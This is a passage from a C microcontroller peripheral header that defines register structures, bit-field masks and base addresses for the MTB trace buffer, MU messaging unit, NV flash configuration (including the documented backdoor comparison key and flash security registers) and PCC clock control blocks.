#define MTB_POSITION_POINTER(x) (((uint32_t)(((uint32_t)(x)) << MTB_POSITION_POINTER_SHIFT)) & MTB_POSITION_POINTER_MASK)
/*! @name MASTER - MTB Master Register */
#define MTB_MASTER_MASK_MASK (0x1FU)
#define MTB_MASTER_MASK_SHIFT (0U)
#define MTB_MASTER_MASK(x) (((uint32_t)(((uint32_t)(x)) << MTB_MASTER_MASK_SHIFT)) & MTB_MASTER_MASK_MASK)
#define MTB_MASTER_TSTARTEN_MASK (0x20U)
#define MTB_MASTER_TSTARTEN_SHIFT (5U)
#define MTB_MASTER_TSTARTEN(x) (((uint32_t)(((uint32_t)(x)) << MTB_MASTER_TSTARTEN_SHIFT)) & MTB_MASTER_TSTARTEN_MASK)
#define MTB_MASTER_TSTOPEN_MASK (0x40U)
#define MTB_MASTER_TSTOPEN_SHIFT (6U)
#define MTB_MASTER_TSTOPEN(x) (((uint32_t)(((uint32_t)(x)) << MTB_MASTER_TSTOPEN_SHIFT)) & MTB_MASTER_TSTOPEN_MASK)
#define MTB_MASTER_SFRWPRIV_MASK (0x80U)
#define MTB_MASTER_SFRWPRIV_SHIFT (7U)
#define MTB_MASTER_SFRWPRIV(x) (((uint32_t)(((uint32_t)(x)) << MTB_MASTER_SFRWPRIV_SHIFT)) & MTB_MASTER_SFRWPRIV_MASK)
#define MTB_MASTER_RAMPRIV_MASK (0x100U)
#define MTB_MASTER_RAMPRIV_SHIFT (8U)
#define MTB_MASTER_RAMPRIV(x) (((uint32_t)(((uint32_t)(x)) << MTB_MASTER_RAMPRIV_SHIFT)) & MTB_MASTER_RAMPRIV_MASK)
#define MTB_MASTER_HALTREQ_MASK (0x200U)
#define MTB_MASTER_HALTREQ_SHIFT (9U)
#define MTB_MASTER_HALTREQ(x) (((uint32_t)(((uint32_t)(x)) << MTB_MASTER_HALTREQ_SHIFT)) & MTB_MASTER_HALTREQ_MASK)
#define MTB_MASTER_EN_MASK (0x80000000U)
#define MTB_MASTER_EN_SHIFT (31U)
#define MTB_MASTER_EN(x) (((uint32_t)(((uint32_t)(x)) << MTB_MASTER_EN_SHIFT)) & MTB_MASTER_EN_MASK)
/*! @name FLOW - MTB Flow Register */
#define MTB_FLOW_AUTOSTOP_MASK (0x1U)
#define MTB_FLOW_AUTOSTOP_SHIFT (0U)
#define MTB_FLOW_AUTOSTOP(x) (((uint32_t)(((uint32_t)(x)) << MTB_FLOW_AUTOSTOP_SHIFT)) & MTB_FLOW_AUTOSTOP_MASK)
#define MTB_FLOW_AUTOHALT_MASK (0x2U)
#define MTB_FLOW_AUTOHALT_SHIFT (1U)
#define MTB_FLOW_AUTOHALT(x) (((uint32_t)(((uint32_t)(x)) << MTB_FLOW_AUTOHALT_SHIFT)) & MTB_FLOW_AUTOHALT_MASK)
#define MTB_FLOW_WATERMARK_MASK (0xFFFFFFF8U)
#define MTB_FLOW_WATERMARK_SHIFT (3U)
#define MTB_FLOW_WATERMARK(x) (((uint32_t)(((uint32_t)(x)) << MTB_FLOW_WATERMARK_SHIFT)) & MTB_FLOW_WATERMARK_MASK)
/*! @name BASE - MTB Base Register */
#define MTB_BASE_BASEADDR_MASK (0xFFFFFFFFU)
#define MTB_BASE_BASEADDR_SHIFT (0U)
#define MTB_BASE_BASEADDR(x) (((uint32_t)(((uint32_t)(x)) << MTB_BASE_BASEADDR_SHIFT)) & MTB_BASE_BASEADDR_MASK)
/*! @name MODECTRL - Integration Mode Control Register */
#define MTB_MODECTRL_MODECTRL_MASK (0xFFFFFFFFU)
#define MTB_MODECTRL_MODECTRL_SHIFT (0U)
#define MTB_MODECTRL_MODECTRL(x) (((uint32_t)(((uint32_t)(x)) << MTB_MODECTRL_MODECTRL_SHIFT)) & MTB_MODECTRL_MODECTRL_MASK)
/*! @name TAGSET - Claim TAG Set Register */
#define MTB_TAGSET_TAGSET_MASK (0xFFFFFFFFU)
#define MTB_TAGSET_TAGSET_SHIFT (0U)
#define MTB_TAGSET_TAGSET(x) (((uint32_t)(((uint32_t)(x)) << MTB_TAGSET_TAGSET_SHIFT)) & MTB_TAGSET_TAGSET_MASK)
/*! @name TAGCLEAR - Claim TAG Clear Register */
#define MTB_TAGCLEAR_TAGCLEAR_MASK (0xFFFFFFFFU)
#define MTB_TAGCLEAR_TAGCLEAR_SHIFT (0U)
#define MTB_TAGCLEAR_TAGCLEAR(x) (((uint32_t)(((uint32_t)(x)) << MTB_TAGCLEAR_TAGCLEAR_SHIFT)) & MTB_TAGCLEAR_TAGCLEAR_MASK)
/*! @name LOCKACCESS - Lock Access Register */
#define MTB_LOCKACCESS_LOCKACCESS_MASK (0xFFFFFFFFU)
#define MTB_LOCKACCESS_LOCKACCESS_SHIFT (0U)
#define MTB_LOCKACCESS_LOCKACCESS(x) (((uint32_t)(((uint32_t)(x)) << MTB_LOCKACCESS_LOCKACCESS_SHIFT)) & MTB_LOCKACCESS_LOCKACCESS_MASK)
/*! @name LOCKSTAT - Lock Status Register */
#define MTB_LOCKSTAT_LOCKSTAT_MASK (0xFFFFFFFFU)
#define MTB_LOCKSTAT_LOCKSTAT_SHIFT (0U)
#define MTB_LOCKSTAT_LOCKSTAT(x) (((uint32_t)(((uint32_t)(x)) << MTB_LOCKSTAT_LOCKSTAT_SHIFT)) & MTB_LOCKSTAT_LOCKSTAT_MASK)
/*! @name AUTHSTAT - Authentication Status Register */
#define MTB_AUTHSTAT_BIT0_MASK (0x1U)
#define MTB_AUTHSTAT_BIT0_SHIFT (0U)
#define MTB_AUTHSTAT_BIT0(x) (((uint32_t)(((uint32_t)(x)) << MTB_AUTHSTAT_BIT0_SHIFT)) & MTB_AUTHSTAT_BIT0_MASK)
#define MTB_AUTHSTAT_BIT1_MASK (0x2U)
#define MTB_AUTHSTAT_BIT1_SHIFT (1U)
#define MTB_AUTHSTAT_BIT1(x) (((uint32_t)(((uint32_t)(x)) << MTB_AUTHSTAT_BIT1_SHIFT)) & MTB_AUTHSTAT_BIT1_MASK)
#define MTB_AUTHSTAT_BIT2_MASK (0x4U)
#define MTB_AUTHSTAT_BIT2_SHIFT (2U)
#define MTB_AUTHSTAT_BIT2(x) (((uint32_t)(((uint32_t)(x)) << MTB_AUTHSTAT_BIT2_SHIFT)) & MTB_AUTHSTAT_BIT2_MASK)
#define MTB_AUTHSTAT_BIT3_MASK (0x8U)
#define MTB_AUTHSTAT_BIT3_SHIFT (3U)
#define MTB_AUTHSTAT_BIT3(x) (((uint32_t)(((uint32_t)(x)) << MTB_AUTHSTAT_BIT3_SHIFT)) & MTB_AUTHSTAT_BIT3_MASK)
/*! @name DEVICEARCH - Device Architecture Register */
#define MTB_DEVICEARCH_DEVICEARCH_MASK (0xFFFFFFFFU)
#define MTB_DEVICEARCH_DEVICEARCH_SHIFT (0U)
#define MTB_DEVICEARCH_DEVICEARCH(x) (((uint32_t)(((uint32_t)(x)) << MTB_DEVICEARCH_DEVICEARCH_SHIFT)) & MTB_DEVICEARCH_DEVICEARCH_MASK)
/*! @name DEVICECFG - Device Configuration Register */
#define MTB_DEVICECFG_DEVICECFG_MASK (0xFFFFFFFFU)
#define MTB_DEVICECFG_DEVICECFG_SHIFT (0U)
#define MTB_DEVICECFG_DEVICECFG(x) (((uint32_t)(((uint32_t)(x)) << MTB_DEVICECFG_DEVICECFG_SHIFT)) & MTB_DEVICECFG_DEVICECFG_MASK)
/*! @name DEVICETYPID - Device Type Identifier Register */
#define MTB_DEVICETYPID_DEVICETYPID_MASK (0xFFFFFFFFU)
#define MTB_DEVICETYPID_DEVICETYPID_SHIFT (0U)
#define MTB_DEVICETYPID_DEVICETYPID(x) (((uint32_t)(((uint32_t)(x)) << MTB_DEVICETYPID_DEVICETYPID_SHIFT)) & MTB_DEVICETYPID_DEVICETYPID_MASK)
/*! @name PERIPHID - Peripheral ID Register */
#define MTB_PERIPHID_PERIPHID_MASK (0xFFFFFFFFU)
#define MTB_PERIPHID_PERIPHID_SHIFT (0U)
#define MTB_PERIPHID_PERIPHID(x) (((uint32_t)(((uint32_t)(x)) << MTB_PERIPHID_PERIPHID_SHIFT)) & MTB_PERIPHID_PERIPHID_MASK)
/* The count of MTB_PERIPHID */
#define MTB_PERIPHID_COUNT (8U)
/*! @name COMPID - Component ID Register */
#define MTB_COMPID_COMPID_MASK (0xFFFFFFFFU)
#define MTB_COMPID_COMPID_SHIFT (0U)
#define MTB_COMPID_COMPID(x) (((uint32_t)(((uint32_t)(x)) << MTB_COMPID_COMPID_SHIFT)) & MTB_COMPID_COMPID_MASK)
/* The count of MTB_COMPID */
#define MTB_COMPID_COUNT (4U)
/*!
* @}
*/ /* end of group MTB_Register_Masks */
/* MTB - Peripheral instance base addresses */
/** Peripheral MTB0 base address */
#define MTB0_BASE (0xF0000000u)
/** Peripheral MTB0 base pointer */
#define MTB0 ((MTB_Type *)MTB0_BASE)
/** Peripheral MTB1 base address */
#define MTB1_BASE (0xF1000000u)
/** Peripheral MTB1 base pointer */
#define MTB1 ((MTB_Type *)MTB1_BASE)
/** Array initializer of MTB peripheral base addresses */
#define MTB_BASE_ADDRS { MTB0_BASE, MTB1_BASE }
/** Array initializer of MTB peripheral base pointers */
#define MTB_BASE_PTRS { MTB0, MTB1 }
/*!
* @}
*/ /* end of group MTB_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- MU Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup MU_Peripheral_Access_Layer MU Peripheral Access Layer
* @{
*/
/** MU - Register Layout Typedef */
typedef struct {
__I uint32_t VER; /**< Version ID Register, offset: 0x0 */
uint8_t RESERVED_0[28];
__IO uint32_t TR[4]; /**< Transmit Register, array offset: 0x20, array step: 0x4 */
uint8_t RESERVED_1[16];
__I uint32_t RR[4]; /**< Receive Register, array offset: 0x40, array step: 0x4 */
uint8_t RESERVED_2[16];
__IO uint32_t SR; /**< Status Register, offset: 0x60 */
__IO uint32_t CR; /**< Control Register, offset: 0x64 */
} MU_Type;
/* ----------------------------------------------------------------------------
-- MU Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup MU_Register_Masks MU Register Masks
* @{
*/
/*! @name VER - Version ID Register */
#define MU_VER_FEATURE_MASK (0xFFFFU)
#define MU_VER_FEATURE_SHIFT (0U)
#define MU_VER_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << MU_VER_FEATURE_SHIFT)) & MU_VER_FEATURE_MASK)
#define MU_VER_MINOR_MASK (0xFF0000U)
#define MU_VER_MINOR_SHIFT (16U)
#define MU_VER_MINOR(x) (((uint32_t)(((uint32_t)(x)) << MU_VER_MINOR_SHIFT)) & MU_VER_MINOR_MASK)
#define MU_VER_MAJOR_MASK (0xFF000000U)
#define MU_VER_MAJOR_SHIFT (24U)
#define MU_VER_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << MU_VER_MAJOR_SHIFT)) & MU_VER_MAJOR_MASK)
/*! @name TR - Transmit Register */
#define MU_TR_DATA_MASK (0xFFFFFFFFU)
#define MU_TR_DATA_SHIFT (0U)
#define MU_TR_DATA(x) (((uint32_t)(((uint32_t)(x)) << MU_TR_DATA_SHIFT)) & MU_TR_DATA_MASK)
/* The count of MU_TR */
#define MU_TR_COUNT (4U)
/*! @name RR - Receive Register */
#define MU_RR_DATA_MASK (0xFFFFFFFFU)
#define MU_RR_DATA_SHIFT (0U)
#define MU_RR_DATA(x) (((uint32_t)(((uint32_t)(x)) << MU_RR_DATA_SHIFT)) & MU_RR_DATA_MASK)
/* The count of MU_RR */
#define MU_RR_COUNT (4U)
/*! @name SR - Status Register */
#define MU_SR_Fn_MASK (0x7U)
#define MU_SR_Fn_SHIFT (0U)
#define MU_SR_Fn(x) (((uint32_t)(((uint32_t)(x)) << MU_SR_Fn_SHIFT)) & MU_SR_Fn_MASK)
#define MU_SR_NMIC_MASK (0x8U)
#define MU_SR_NMIC_SHIFT (3U)
#define MU_SR_NMIC(x) (((uint32_t)(((uint32_t)(x)) << MU_SR_NMIC_SHIFT)) & MU_SR_NMIC_MASK)
#define MU_SR_EP_MASK (0x10U)
#define MU_SR_EP_SHIFT (4U)
#define MU_SR_EP(x) (((uint32_t)(((uint32_t)(x)) << MU_SR_EP_SHIFT)) & MU_SR_EP_MASK)
#define MU_SR_PM_MASK (0x60U)
#define MU_SR_PM_SHIFT (5U)
#define MU_SR_PM(x) (((uint32_t)(((uint32_t)(x)) << MU_SR_PM_SHIFT)) & MU_SR_PM_MASK)
#define MU_SR_FUP_MASK (0x100U)
#define MU_SR_FUP_SHIFT (8U)
#define MU_SR_FUP(x) (((uint32_t)(((uint32_t)(x)) << MU_SR_FUP_SHIFT)) & MU_SR_FUP_MASK)
#define MU_SR_TEn_MASK (0xF00000U)
#define MU_SR_TEn_SHIFT (20U)
#define MU_SR_TEn(x) (((uint32_t)(((uint32_t)(x)) << MU_SR_TEn_SHIFT)) & MU_SR_TEn_MASK)
#define MU_SR_RFn_MASK (0xF000000U)
#define MU_SR_RFn_SHIFT (24U)
#define MU_SR_RFn(x) (((uint32_t)(((uint32_t)(x)) << MU_SR_RFn_SHIFT)) & MU_SR_RFn_MASK)
#define MU_SR_GIPn_MASK (0xF0000000U)
#define MU_SR_GIPn_SHIFT (28U)
#define MU_SR_GIPn(x) (((uint32_t)(((uint32_t)(x)) << MU_SR_GIPn_SHIFT)) & MU_SR_GIPn_MASK)
/*! @name CR - Control Register */
#define MU_CR_Fn_MASK (0x7U)
#define MU_CR_Fn_SHIFT (0U)
#define MU_CR_Fn(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_Fn_SHIFT)) & MU_CR_Fn_MASK)
#define MU_CR_NMI_MASK (0x8U)
#define MU_CR_NMI_SHIFT (3U)
#define MU_CR_NMI(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_NMI_SHIFT)) & MU_CR_NMI_MASK)
#define MU_CR_MUR_MASK (0x20U)
#define MU_CR_MUR_SHIFT (5U)
#define MU_CR_MUR(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_MUR_SHIFT)) & MU_CR_MUR_MASK)
#define MU_CR_BRSTH_MASK (0x80U)
#define MU_CR_BRSTH_SHIFT (7U)
#define MU_CR_BRSTH(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_BRSTH_SHIFT)) & MU_CR_BRSTH_MASK)
#define MU_CR_CLKE_MASK (0x100U)
#define MU_CR_CLKE_SHIFT (8U)
#define MU_CR_CLKE(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_CLKE_SHIFT)) & MU_CR_CLKE_MASK)
#define MU_CR_BBOOT_MASK (0x600U)
#define MU_CR_BBOOT_SHIFT (9U)
#define MU_CR_BBOOT(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_BBOOT_SHIFT)) & MU_CR_BBOOT_MASK)
#define MU_CR_GIRn_MASK (0xF0000U)
#define MU_CR_GIRn_SHIFT (16U)
#define MU_CR_GIRn(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_GIRn_SHIFT)) & MU_CR_GIRn_MASK)
#define MU_CR_TIEn_MASK (0xF00000U)
#define MU_CR_TIEn_SHIFT (20U)
#define MU_CR_TIEn(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_TIEn_SHIFT)) & MU_CR_TIEn_MASK)
#define MU_CR_RIEn_MASK (0xF000000U)
#define MU_CR_RIEn_SHIFT (24U)
#define MU_CR_RIEn(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_RIEn_SHIFT)) & MU_CR_RIEn_MASK)
#define MU_CR_GIEn_MASK (0xF0000000U)
#define MU_CR_GIEn_SHIFT (28U)
#define MU_CR_GIEn(x) (((uint32_t)(((uint32_t)(x)) << MU_CR_GIEn_SHIFT)) & MU_CR_GIEn_MASK)
/*!
* @}
*/ /* end of group MU_Register_Masks */
/* MU - Peripheral instance base addresses */
/** Peripheral MU0_A base address */
#define MU0_A_BASE (0x40023000u)
/** Peripheral MU0_A base pointer */
#define MU0_A ((MU_Type *)MU0_A_BASE)
/** Peripheral MU0_B base address */
#define MU0_B_BASE (0x400A3000u)
/** Peripheral MU0_B base pointer */
#define MU0_B ((MU_Type *)MU0_B_BASE)
/** Array initializer of MU peripheral base addresses */
#define MU_BASE_ADDRS { MU0_A_BASE, MU0_B_BASE }
/** Array initializer of MU peripheral base pointers */
#define MU_BASE_PTRS { MU0_A, MU0_B }
/** Interrupt vectors for the MU peripheral type */
#define MU_IRQS { MU0_A_IRQn, NotAvail_IRQn }
/*!
* @}
*/ /* end of group MU_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- NV Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup NV_Peripheral_Access_Layer NV Peripheral Access Layer
* @{
*/
/** NV - Register Layout Typedef */
typedef struct {
__I uint8_t BACKKEY3; /**< Backdoor Comparison Key 3., offset: 0x0 */
__I uint8_t BACKKEY2; /**< Backdoor Comparison Key 2., offset: 0x1 */
__I uint8_t BACKKEY1; /**< Backdoor Comparison Key 1., offset: 0x2 */
__I uint8_t BACKKEY0; /**< Backdoor Comparison Key 0., offset: 0x3 */
__I uint8_t BACKKEY7; /**< Backdoor Comparison Key 7., offset: 0x4 */
__I uint8_t BACKKEY6; /**< Backdoor Comparison Key 6., offset: 0x5 */
__I uint8_t BACKKEY5; /**< Backdoor Comparison Key 5., offset: 0x6 */
__I uint8_t BACKKEY4; /**< Backdoor Comparison Key 4., offset: 0x7 */
__I uint8_t FPROT3; /**< Non-volatile P-Flash Protection 1 - Low Register, offset: 0x8 */
__I uint8_t FPROT2; /**< Non-volatile P-Flash Protection 1 - High Register, offset: 0x9 */
__I uint8_t FPROT1; /**< Non-volatile P-Flash Protection 0 - Low Register, offset: 0xA */
__I uint8_t FPROT0; /**< Non-volatile P-Flash Protection 0 - High Register, offset: 0xB */
__I uint8_t FSEC; /**< Non-volatile Flash Security Register, offset: 0xC */
__I uint8_t FOPT; /**< Non-volatile Flash Option Register, offset: 0xD */
} NV_Type;
/* ----------------------------------------------------------------------------
-- NV Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup NV_Register_Masks NV Register Masks
* @{
*/
/*! @name BACKKEY3 - Backdoor Comparison Key 3. */
#define NV_BACKKEY3_KEY_MASK (0xFFU)
#define NV_BACKKEY3_KEY_SHIFT (0U)
#define NV_BACKKEY3_KEY(x) (((uint8_t)(((uint8_t)(x)) << NV_BACKKEY3_KEY_SHIFT)) & NV_BACKKEY3_KEY_MASK)
/*! @name BACKKEY2 - Backdoor Comparison Key 2. */
#define NV_BACKKEY2_KEY_MASK (0xFFU)
#define NV_BACKKEY2_KEY_SHIFT (0U)
#define NV_BACKKEY2_KEY(x) (((uint8_t)(((uint8_t)(x)) << NV_BACKKEY2_KEY_SHIFT)) & NV_BACKKEY2_KEY_MASK)
/*! @name BACKKEY1 - Backdoor Comparison Key 1. */
#define NV_BACKKEY1_KEY_MASK (0xFFU)
#define NV_BACKKEY1_KEY_SHIFT (0U)
#define NV_BACKKEY1_KEY(x) (((uint8_t)(((uint8_t)(x)) << NV_BACKKEY1_KEY_SHIFT)) & NV_BACKKEY1_KEY_MASK)
/*! @name BACKKEY0 - Backdoor Comparison Key 0. */
#define NV_BACKKEY0_KEY_MASK (0xFFU)
#define NV_BACKKEY0_KEY_SHIFT (0U)
#define NV_BACKKEY0_KEY(x) (((uint8_t)(((uint8_t)(x)) << NV_BACKKEY0_KEY_SHIFT)) & NV_BACKKEY0_KEY_MASK)
/*! @name BACKKEY7 - Backdoor Comparison Key 7. */
#define NV_BACKKEY7_KEY_MASK (0xFFU)
#define NV_BACKKEY7_KEY_SHIFT (0U)
#define NV_BACKKEY7_KEY(x) (((uint8_t)(((uint8_t)(x)) << NV_BACKKEY7_KEY_SHIFT)) & NV_BACKKEY7_KEY_MASK)
/*! @name BACKKEY6 - Backdoor Comparison Key 6. */
#define NV_BACKKEY6_KEY_MASK (0xFFU)
#define NV_BACKKEY6_KEY_SHIFT (0U)
#define NV_BACKKEY6_KEY(x) (((uint8_t)(((uint8_t)(x)) << NV_BACKKEY6_KEY_SHIFT)) & NV_BACKKEY6_KEY_MASK)
/*! @name BACKKEY5 - Backdoor Comparison Key 5. */
#define NV_BACKKEY5_KEY_MASK (0xFFU)
#define NV_BACKKEY5_KEY_SHIFT (0U)
#define NV_BACKKEY5_KEY(x) (((uint8_t)(((uint8_t)(x)) << NV_BACKKEY5_KEY_SHIFT)) & NV_BACKKEY5_KEY_MASK)
/*! @name BACKKEY4 - Backdoor Comparison Key 4. */
#define NV_BACKKEY4_KEY_MASK (0xFFU)
#define NV_BACKKEY4_KEY_SHIFT (0U)
#define NV_BACKKEY4_KEY(x) (((uint8_t)(((uint8_t)(x)) << NV_BACKKEY4_KEY_SHIFT)) & NV_BACKKEY4_KEY_MASK)
/*! @name FPROT3 - Non-volatile P-Flash Protection 1 - Low Register */
#define NV_FPROT3_PROT_MASK (0xFFU)
#define NV_FPROT3_PROT_SHIFT (0U)
#define NV_FPROT3_PROT(x) (((uint8_t)(((uint8_t)(x)) << NV_FPROT3_PROT_SHIFT)) & NV_FPROT3_PROT_MASK)
/*! @name FPROT2 - Non-volatile P-Flash Protection 1 - High Register */
#define NV_FPROT2_PROT_MASK (0xFFU)
#define NV_FPROT2_PROT_SHIFT (0U)
#define NV_FPROT2_PROT(x) (((uint8_t)(((uint8_t)(x)) << NV_FPROT2_PROT_SHIFT)) & NV_FPROT2_PROT_MASK)
/*! @name FPROT1 - Non-volatile P-Flash Protection 0 - Low Register */
#define NV_FPROT1_PROT_MASK (0xFFU)
#define NV_FPROT1_PROT_SHIFT (0U)
#define NV_FPROT1_PROT(x) (((uint8_t)(((uint8_t)(x)) << NV_FPROT1_PROT_SHIFT)) & NV_FPROT1_PROT_MASK)
/*! @name FPROT0 - Non-volatile P-Flash Protection 0 - High Register */
#define NV_FPROT0_PROT_MASK (0xFFU)
#define NV_FPROT0_PROT_SHIFT (0U)
#define NV_FPROT0_PROT(x) (((uint8_t)(((uint8_t)(x)) << NV_FPROT0_PROT_SHIFT)) & NV_FPROT0_PROT_MASK)
/*! @name FSEC - Non-volatile Flash Security Register */
#define NV_FSEC_SEC_MASK (0x3U)
#define NV_FSEC_SEC_SHIFT (0U)
#define NV_FSEC_SEC(x) (((uint8_t)(((uint8_t)(x)) << NV_FSEC_SEC_SHIFT)) & NV_FSEC_SEC_MASK)
#define NV_FSEC_FSLACC_MASK (0xCU)
#define NV_FSEC_FSLACC_SHIFT (2U)
#define NV_FSEC_FSLACC(x) (((uint8_t)(((uint8_t)(x)) << NV_FSEC_FSLACC_SHIFT)) & NV_FSEC_FSLACC_MASK)
#define NV_FSEC_MEEN_MASK (0x30U)
#define NV_FSEC_MEEN_SHIFT (4U)
#define NV_FSEC_MEEN(x) (((uint8_t)(((uint8_t)(x)) << NV_FSEC_MEEN_SHIFT)) & NV_FSEC_MEEN_MASK)
#define NV_FSEC_KEYEN_MASK (0xC0U)
#define NV_FSEC_KEYEN_SHIFT (6U)
#define NV_FSEC_KEYEN(x) (((uint8_t)(((uint8_t)(x)) << NV_FSEC_KEYEN_SHIFT)) & NV_FSEC_KEYEN_MASK)
/*! @name FOPT - Non-volatile Flash Option Register */
#define NV_FOPT_LPBOOT0_MASK (0x1U)
#define NV_FOPT_LPBOOT0_SHIFT (0U)
#define NV_FOPT_LPBOOT0(x) (((uint8_t)(((uint8_t)(x)) << NV_FOPT_LPBOOT0_SHIFT)) & NV_FOPT_LPBOOT0_MASK)
#define NV_FOPT_BOOTPIN_OPT_MASK (0x2U)
#define NV_FOPT_BOOTPIN_OPT_SHIFT (1U)
#define NV_FOPT_BOOTPIN_OPT(x) (((uint8_t)(((uint8_t)(x)) << NV_FOPT_BOOTPIN_OPT_SHIFT)) & NV_FOPT_BOOTPIN_OPT_MASK)
#define NV_FOPT_NMI_DIS_MASK (0x4U)
#define NV_FOPT_NMI_DIS_SHIFT (2U)
#define NV_FOPT_NMI_DIS(x) (((uint8_t)(((uint8_t)(x)) << NV_FOPT_NMI_DIS_SHIFT)) & NV_FOPT_NMI_DIS_MASK)
#define NV_FOPT_RESET_PIN_CFG_MASK (0x8U)
#define NV_FOPT_RESET_PIN_CFG_SHIFT (3U)
#define NV_FOPT_RESET_PIN_CFG(x) (((uint8_t)(((uint8_t)(x)) << NV_FOPT_RESET_PIN_CFG_SHIFT)) & NV_FOPT_RESET_PIN_CFG_MASK)
#define NV_FOPT_LPBOOT1_MASK (0x10U)
#define NV_FOPT_LPBOOT1_SHIFT (4U)
#define NV_FOPT_LPBOOT1(x) (((uint8_t)(((uint8_t)(x)) << NV_FOPT_LPBOOT1_SHIFT)) & NV_FOPT_LPBOOT1_MASK)
#define NV_FOPT_FAST_INIT_MASK (0x20U)
#define NV_FOPT_FAST_INIT_SHIFT (5U)
#define NV_FOPT_FAST_INIT(x) (((uint8_t)(((uint8_t)(x)) << NV_FOPT_FAST_INIT_SHIFT)) & NV_FOPT_FAST_INIT_MASK)
#define NV_FOPT_BOOTSRC_SEL_MASK (0xC0U)
#define NV_FOPT_BOOTSRC_SEL_SHIFT (6U)
#define NV_FOPT_BOOTSRC_SEL(x) (((uint8_t)(((uint8_t)(x)) << NV_FOPT_BOOTSRC_SEL_SHIFT)) & NV_FOPT_BOOTSRC_SEL_MASK)
/*!
* @}
*/ /* end of group NV_Register_Masks */
/* NV - Peripheral instance base addresses */
/** Peripheral FTFA_FlashConfig base address */
#define FTFA_FlashConfig_BASE (0x400u)
/** Peripheral FTFA_FlashConfig base pointer */
#define FTFA_FlashConfig ((NV_Type *)FTFA_FlashConfig_BASE)
/** Array initializer of NV peripheral base addresses */
#define NV_BASE_ADDRS { FTFA_FlashConfig_BASE }
/** Array initializer of NV peripheral base pointers */
#define NV_BASE_PTRS { FTFA_FlashConfig }
/*!
* @}
*/ /* end of group NV_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- PCC Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup PCC_Peripheral_Access_Layer PCC Peripheral Access Layer
* @{
*/
/** PCC - Register Layout Typedef */
typedef struct {
__IO uint32_t CLKCFG[128]; /**< PCC CLKCFG Register, array offset: 0x0, array step: 0x4 */
} PCC_Type;
/* ----------------------------------------------------------------------------
-- PCC Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup PCC_Register_Masks PCC Register Masks
* @{
*/
/*! @name CLKCFG - PCC CLKCFG Register */
#define PCC_CLKCFG_PCD_MASK (0x7U)
#define PCC_CLKCFG_PCD_SHIFT (0U)
#define PCC_CLKCFG_PCD(x) (((uint32_t)(((uint32_t)(x)) << PCC_CLKCFG_PCD_SHIFT)) & PCC_CLKCFG_PCD_MASK)
#define PCC_CLKCFG_FRAC_MASK (0x8U)
#define PCC_CLKCFG_FRAC_SHIFT (3U)
#define PCC_CLKCFG_FRAC(x) (((uint32_t)(((uint32_t)(x)) << PCC_CLKCFG_FRAC_SHIFT)) & PCC_CLKCFG_FRAC_MASK)
#define PCC_CLKCFG_PCS_MASK (0x7000000U)
#define PCC_CLKCFG_PCS_SHIFT (24U)
#define PCC_CLKCFG_PCS(x) (((uint32_t)(((uint32_t)(x)) << PCC_CLKCFG_PCS_SHIFT)) & PCC_CLKCFG_PCS_MASK)
#define PCC_CLKCFG_INUSE_MASK (0x20000000U)
#define PCC_CLKCFG_INUSE_SHIFT (29U)
#define PCC_CLKCFG_INUSE(x) (((uint32_t)(((uint32_t)(x)) << PCC_CLKCFG_INUSE_SHIFT)) & PCC_CLKCFG_INUSE_MASK)
#define PCC_CLKCFG_CGC_MASK (0x40000000U)
#define PCC_CLKCFG_CGC_SHIFT (30U)
#define PCC_CLKCFG_CGC(x) (((uint32_t)(((uint32_t)(x)) << PCC_CLKCFG_CGC_SHIFT)) & PCC_CLKCFG_CGC_MASK)
#define PCC_CLKCFG_PR_MASK (0x80000000U)
#define PCC_CLKCFG_PR_SHIFT (31U)
#define PCC_CLKCFG_PR(x) (((uint32_t)(((uint32_t)(x)) << PCC_CLKCFG_PR_SHIFT)) & PCC_CLKCFG_PR_MASK)
/* The count of PCC_CLKCFG */
#define PCC_CLKCFG_COUNT (128U)
/*!
* @}
*/ /* end of group PCC_Register_Masks */
/* PCC - Peripheral instance base addresses */
/** Peripheral PCC0 base address */
#define PCC0_BASE (0x4007A000u)
/** Peripheral PCC0 base pointer */
#define PCC0 ((PCC_Type *)PCC0_BASE)
/** Peripheral PCC1 base address */
#define PCC1_BASE (0x400FA000u)
/** Peripheral PCC1 base pointer */
#define PCC1 ((PCC_Type *)PCC1_BASE)
/** Array initializer of PCC peripheral base addresses */
#define PCC_BASE_ADDRS { PCC0_BASE, PCC1_BASE }
/** Array initializer of PCC peripheral base pointers */
#define PCC_BASE_PTRS { PCC0, PCC1 }
#define PCC_INSTANCE_MASK 0xF
#define PCC_INSTANCE_SHIFT 12
#define PCC_PERIPHERAL_MASK 0xFFF
#define PCC_PERIPHERAL_SHIFT 0
#define PCC_INSTANCE_0 0
#define PCC_INSTANCE_1 1
#define PCC_DMA0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 8)
#define PCC_XRDC_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 20)
#define PCC_SEMA420_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 27)
#define PCC_FLASH_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 32)
